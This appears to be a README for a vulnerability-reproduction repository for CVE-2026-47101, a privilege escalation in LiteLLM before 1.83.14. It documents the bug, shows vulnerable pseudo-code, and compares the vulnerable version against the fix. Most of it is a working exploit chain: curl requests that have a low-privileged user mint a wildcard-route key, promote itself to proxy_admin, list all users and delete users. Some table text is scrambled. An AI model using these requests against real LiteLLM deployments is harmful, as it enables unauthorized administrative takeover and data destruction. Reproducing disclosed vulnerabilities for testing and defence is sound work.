
The code for personally reproducing the corresponding vulnerability
/key/generate + /user/updateLiteLLM v1.82.6 (before v1.83.14)
/key/generateendpoint allows low-privilegedinternal_userto request an API key with wildcard routes["/*"], and then elevate their own role toproxy_adminvia the/user/updateendpoint, achieving unauthorized privilege escalation.
| Field | Value |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.14 (confirmed on v1.82.6) |
| Fixed | v1.83.14+ (added allowed_routes role validation) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM's /key/generate endpoint is used to generate API keys, and /user/update is used to update user attributes.
The authorization checks for these two endpoints have three coherent flaws that can be chained by a low-privileged user:
/key/generate does not validate allowed_routes — any role (including internal_user) can request ["/*"] wildcard routesallowed_routes wildcard matching — the generated wildcard key can access all administrative endpoints/user/update allows self-modification of the user_role field — using the wildcard key, the user can elevate their own role to proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ Obtains wildcard API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ Role elevated to proxy_admin
→ GET /user/list (using wildcard key)
→ Verifies admin access
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.82.6, pinned digest)
docker compose up -d litellm
# Wait for service to be ready (approx. 10-30 seconds)
sleep 15
# Check container logs
docker logs litellm-privesc 2>&1 | tail -10
Expected output should contain startup logs such as Uvicorn running on http://0.0.0.0:4000.
Use the master key to create a low-privileged internal_user account:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Note the returned user_id and key; they will be needed in subsequent steps.
As internal_user, call /key/generate to request an API key with ["/*"] wildcard routes:
# Replace sk-internal-user-key with the key obtained in the previous step
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Expected output:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Vulnerability Point:
internal_usersuccessfully generated an API key with["/*"]wildcard routes! This key can access all administrative endpoints, including/user/update,/user/list, etc.
Use the wildcard route key to call /user/update and elevate the user role to proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Vulnerability Point:
user_rolehas been changed frominternal_usertoproxy_admin! The/user/updateendpoint allows a user to modify their ownuser_rolefield without any privilege restrictions.
Verify the role escalation by accessing the /user/list endpoint:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Expected output:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
The
/user/listendpoint is only accessible to theproxy_adminrole. Successfully retrieving the user list confirms that privilege escalation has taken effect.
Using the obtained proxy_admin privileges, arbitrary users can be deleted via /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Expected output:
1
The above steps have been consolidated into demo.sh, which can be executed directly:
# Full reproduction (includes steps 1-5)
bash demo.sh
# Also test against the fixed version for comparison
bash demo.sh --fixed
Start the fixed version (v1.83.14-stable) to verify that the vulnerability has been patched:
# Start the fixed version
docker compose --profile fixed up -d litellm-fixed
# Wait for readiness
sleep 15
Create an internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Attempt to generate a wildcard route key (expected to be blocked):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Expected output (fixed version blocks unauthorized request):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Comparison with the vulnerable version:
| Test Scenario | Vulnerable Version (v1.82.6) | Fixed Version (v1.83.14) |
|---|---|---|
| internal_user requests |
POST /key/generateGenerates a new API key. The allowed_routes parameter is used to restrict the list of endpoints the key can access.
| Field | Type | Required | Description |
|---|---|---|---|
allowed_routes | array | No | List of allowed routes, e.g., ["/*"] for all routes |
POST /user/updateUpdates user attributes, including the user_role field.
| Field | Type | Required | Description |
|---|---|---|---|
user_id | string | Yes |
As internal_user, call /key/generate requesting a key with ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
The response contains a new API key with wildcard route privileges.
Use the wildcard key to call /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
The vulnerability stems from three separate missing authorization checks:
/key/generate — Missing allowed_routes role validationThe /key/generate endpoint accepts the allowed_routes parameter and directly associates it with the key, without validating the requester's role. Even an internal_user can request administrative-level route privileges.
# Vulnerable pseudo-code — No role check
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# Only validates the API key validity
# Does not check if user_role is allowed to request allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
When checking route permissions, if the user role-level authorization check fails, the middleware falls back to checking the API key's allowed_routes list. Since ["/*"] matches all routes, all administrative endpoints are allowed.
# Vulnerable pseudo-code — Route check fallback logic
async def authorize_request(request, api_key):
# Falls back to allowed_routes after user role check fails
if not user_role_authorized(request, api_key.user):
# Check allowed_routes — ["/*"] matches everything
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Allows Self-Modification of user_roleWhen updating user attributes, the /user/update endpoint allows a user to modify their own user_role field without restriction. Only the proxy_admin role should have permission to modify user roles.
# Vulnerable pseudo-code — No restriction on user_role modification
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # No permission check!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
The fixed version adds authorization checks in the following three areas:
/key/generate — Added validation of the allowed_routes parameter: regular users cannot request administrative-level route privilegesallowed_routes/user/update — Restricted modification of the user_role field: only proxy_admin can modify user rolesCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update calls with user_role changes for anomalous activityDisclaimer: This content is provided for educational purposes and authorized security testing only.
["/*"]| ✅ Successfully generated wildcard key |
| ❌ Blocked (HTTP 403) |
| Wildcard key modifies user_role | ✅ Successfully elevated to proxy_admin | ❌ Blocked |
| Wildcard key accesses /user/list | ✅ Successfully retrieved user list | ❌ Blocked |
| ID of the user to update |
user_role | string | Yes | New role (e.g., proxy_admin) |